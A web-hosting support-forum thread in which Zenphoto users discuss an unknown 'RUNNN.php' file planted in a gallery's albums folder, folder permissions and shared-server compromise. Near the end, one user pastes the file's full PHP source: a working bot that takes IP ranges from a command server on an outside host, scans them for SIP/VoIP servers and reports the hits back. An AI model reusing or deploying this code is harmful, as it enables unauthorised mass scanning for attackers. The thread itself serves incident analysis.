Hi,
my provider has informed me that someone else has uploaded a file : "RUNNN.php" in the albums folder of my Zenphoto install. I use the first release of 1.2.2, none of the nightly build. Straightforward install as recommanded in the installation note.
My provider has deleted the file immediately, so I don't know the content of this file, I asked him to send me the file if it reappear.
Is-it a security hole of Zenphoto (its the only one install on my web site)
Thanks for your attention
eF!
Comments
http://www.zenphoto.org/2008/08/troubleshooting-zenphoto/#29
eF!
Is it just me, or does it seem setting directory privs to 777 by default is generally a Bad Idea(tm)?
I've gone through and set my dirs to 770 and files to 660 since...
However, Zenphoto would not have activated any of those scripts from your albums folder. All it takes from there are folders and images. Plus, there must be some other secruity breach or the person who uploaded those files would not have had access to the site in the first place.
There is a define `CHMOD_VALUE` that should be changed. This define is used everywhere Zenphoto sets priviledges on files and folders. (You can set it in your zp-config.php file and it will stay set on updates.)
My question is how did they get uploaded there? Is it simple enough for anyone to do this and hence the CHMOD permission suggestions... What IF I cannot use 770 or 660 am I at the whim of any would be hacker out there in internet land? There must be other ways a user of ZP can have their site more secure, otherwise why use ZP at all - why risk it?
Cheers
Security also depends on the security setting of your webspace server itself. It is quite possible that someone hacked into your fpt accout or the admin backend or the server in general, too. Did you already contact your host about that issue? Maybe you were not the only one that was affected by this.
BTW do you guys have a security or announcement thread or mailing list we can subscribe to?
We generally post all relevant things on our site's news section and/or the forum. We don't post every bits of course so looking at the svn comments and the tickets might help also.
It is just that when busy it can be a few days or even weeks between visits and an alert via RSS would be so much better
As far as I can see, my passwords were not brute forced, either my zenphoto login, ssh login, or mysql. I'm fairly security-minded and my passwords are certainly not based on dictionary words. At this point I'm fairly well certain that the problem was with the world bit set to writable and have since changed to mode 664 (directories to 775). The problem is when creating new albums and files, ZP unfortunately insists on mode 777.
Furthermore, the top 3 results on a google search for runz.php (which was one of the files in my case) returns only zenphoto galleries. That to me seems like a zenphoto specific problem...
If anyone would like to see the source of runz.php or runnn.php (the source is only slightly different), I'll gladly share.
Anyway, we take any reports serious. You could open a ticket and attach the files to it.
Zenphoto does not insist on 0777. Change the define as described above. Of course, your server setup may not allow zenphoto to access its files and folders with this setting. That is a server setup issue.
When I researched it the consensus seemed to be that the hack was done by another account on the shared server (they even got into a password protected folder) but whatever the case, I switched hosts and never ever use 777 anymore.
I was thinking that maybe we could put in the admin page an option to set the permission of the folders and files ( and use something else than 777 or 664,... for labels as most peopel without unix/linux experience won't get it)
cheers
Eric
<?php
$controller = "http://www.ucpix.de/img/host2.php";
function chunkedDecode($data)
{
$ret = "";
while(1) {
$data = trim($data);
$cursize = intval($data, 16);
if($cursize == 0)
break;
$data = substr(strstr($data, "\n"), 1);
$ret .= substr($data, 0, $cursize);
$data = substr($data, $cursize);
}
return $ret;
}
function parseControlData($data)
{
$lines = split("\n", $data);
$header = true;
$first = true;
$contentdata = array();
foreach($lines AS $line) {
$line = trim($line);
if($first) {
$header = split(" ", $line);
if(count($header) < 3)
return array();
list(, $code,) = $header;
if($code != 200)
return array();
$first = false;
continue;
}
if($header && $line == "") {
$header = false;
}
else if($header) {
// Header
$headerinfo = split(":", $line);
if(count($headerinfo) < 2)
continue;
$headername = trim($headerinfo[0]);
$headervalue = trim($headerinfo[1]);
if(strtolower($headername) == "transfer-encoding" && strtolower($headervalue) == "chunked")
return split("\n", chunkedDecode(substr($data, strpos($data, "\r\n\r\n"))));
}
else {
// Content
if($line)
$contentdata[] = $line;
}
}
return $contentdata;
}
function myip2long($ip)
{
return ip2long($ip);
$a = split("\.", $ip);
if(count($a) != 4)
return FALSE;
$ret = 0;
for($i = 0; $i < 4; $i++) {
$a[$i] = intval($a[$i]);
$ret = ($ret << 8) | $a[$i];
}
return $ret;
}
function mylong2ip($n)
{
return long2ip($n);
return sprintf("%d.%d.%d.%d", ($n >> 24) & 0xFF, ($n >> 16) & 0xFF, ($n >> 8) & 0xFF, $n & 0xFF);
}
if(isset($_SERVER['argv'])) {
// Command line
}
else {
// Web server
set_time_limit(0);
ignore_user_abort(false);
}
// Get the controller url
$controlurl = parse_url($controller);
if(!isset($controlurl['scheme']))
$controlurl['scheme'] = 'http';
$bSSL = ($controlurl['scheme'] == 'https');
if(!isset($controlurl['port']))
$controlurl['port'] = $bSSL ? 443 : 80;
if(isset($controlurl['query']))
$controlurl['path'] .= "?".$controlurl['query']."&";
else
$controlurl['path'] .= "?";
// Start the socket
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
if($sock === FALSE)
die("Failed to create socket");
// Attempt to bind
$localport = 5060;
while($localport < 65536) {
if(socket_bind($sock, "0.0.0.0", $localport))
break;
else
$localport++;
}
if($localport == 65536)
die("Unable to bind");
$targets = array();
$curtarget = 0;
$targetid = 0;
$controlsock = FALSE;
$lastcontroltime = 0;
$hastargets = FALSE;
$currentmatches = array();
$donearr = array();
while(1) {
if($curtarget && !isset($targets[$curtarget])) {
$targets = array();
$curtarget = 0;
}
if($controlsock === FALSE) {
// Setup a socket to the control server
$controlsock = socket_create(AF_INET, SOCK_STREAM, 0);
if($controlsock !== FALSE) {
if(!socket_connect($controlsock, ($bSSL ? "ssl://" : "").$controlurl['host'], $controlurl['port'])) {
socket_close($controlsock);
$controlsock = false;
}
}
}
if($controlsock !== FALSE) {
if(isset($targets[$curtarget])) {
$donetil = mylong2ip(myip2long($targets[$curtarget][0]) + $targetid);
$qs = "done=$donetil&ping&";
}
else {
if($hastargets)
$qs = "done&";
else
$qs = "";
}
if(count($currentmatches)) {
$qs .= "found=";
$maxfound = 10;
while($maxfound > 0 && count($currentmatches) > 0) {
$curfound = sprintf("%08X", myip2long(array_shift($currentmatches)));
$qs .= $curfound;
}
}
$out = "GET ".$controlurl['path']."$qs HTTP/1.1\r\n";
$out .= "Host: ".$controlurl['host']."\r\n";
$out .= "Connection: close\r\n";
$out .= "\r\n";
socket_write($controlsock, $out);
$controldata = "";
$lastcontroltime = time();
}
while(1) {
// Test whether we have something to do
$read = array( $sock );
$except = array();
$write = array( );
if($controlsock !== FALSE) {
$read[] = $controlsock;
}
if(isset($targets[$curtarget])) {
// We have data to send
$write[] = $sock;
}
socket_select($read, $write, $except, 3);
// Do we have data from our controller
if(in_array($controlsock, $read)) {
if(!($buf = socket_read($controlsock, 65535))) {
socket_close($controlsock);
$controlsock = FALSE;
$newtargets = parseControlData($controldata);
foreach($newtargets AS $strcurtarget) {
if($strcurtarget[0] == "!") {
//eval(substr($strcurtarget, 1));
continue;
}
$targetsplit = split("-", $strcurtarget);
if(count($targetsplit) != 2)
continue;
$cstart = myip2long(trim($targetsplit[0]));
$cend = myip2long(trim($targetsplit[1]));
if($cstart === FALSE || $cend === FALSE)
continue;
$targets[] = array($cstart, $cend);
$hastargets = true;
}
}
else {
$controldata .= $buf;
}
}
if(in_array($sock, $write)) {
$curip = $targets[$curtarget][0] + $targetid;
$curip = mylong2ip($curip);
$out = "OPTIONS sip:$curip SIP/2.0\r\n";
$out .= "Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-3408002827;rport\r\n";
$out .= "Content-Length: 0\r\n";
$out .= "From: \"siplicious\"<sip:100@1.1.1.1>; tag=0101010113c4\r\n";
$out .= "Accept: application/sdp\r\n";
$out .= "To: \"siplicious\"<sip:100@1.1.1.1>\r\n";
$out .= "Contact: sip:None@127.0.1.1:5060\r\n";
$out .= "CSeq: 1 OPTIONS\r\n";
$out .= "Call-ID: 700556890817406150532338\r\n";
$out .= "Max-Forwards: 70\r\n";
$out .= "\r\n";
socket_sendto($sock, $out, strlen($out), 0, $curip, 5060);
// Pick the next target
$targetid++;
if($targetid + $targets[$curtarget][0] > $targets[$curtarget][1]) {
$targetid = 0;
$curtarget++;
}
}
else if(in_array($sock, $read)) {
socket_recvfrom($sock, $curread, 8192, 0, $curhost, $port);
if(!isset($donearr[$curhost])) {
$donearr[$curhost] = TRUE;
$currentmatches[] = $curhost;
}
} else {
// We need either a control socket or targets. If not, recreate the control socket
if(!isset($targets[$curtarget]) && $controlsock === FALSE) {
sleep(3);
break;
}
}
if(time() - $lastcontroltime > 15)
break;
}
}
?>
This line :$controller = "http://www.ucpix.de/img/host2.php";
it looks like a trojan script.I really don't know how does it come in.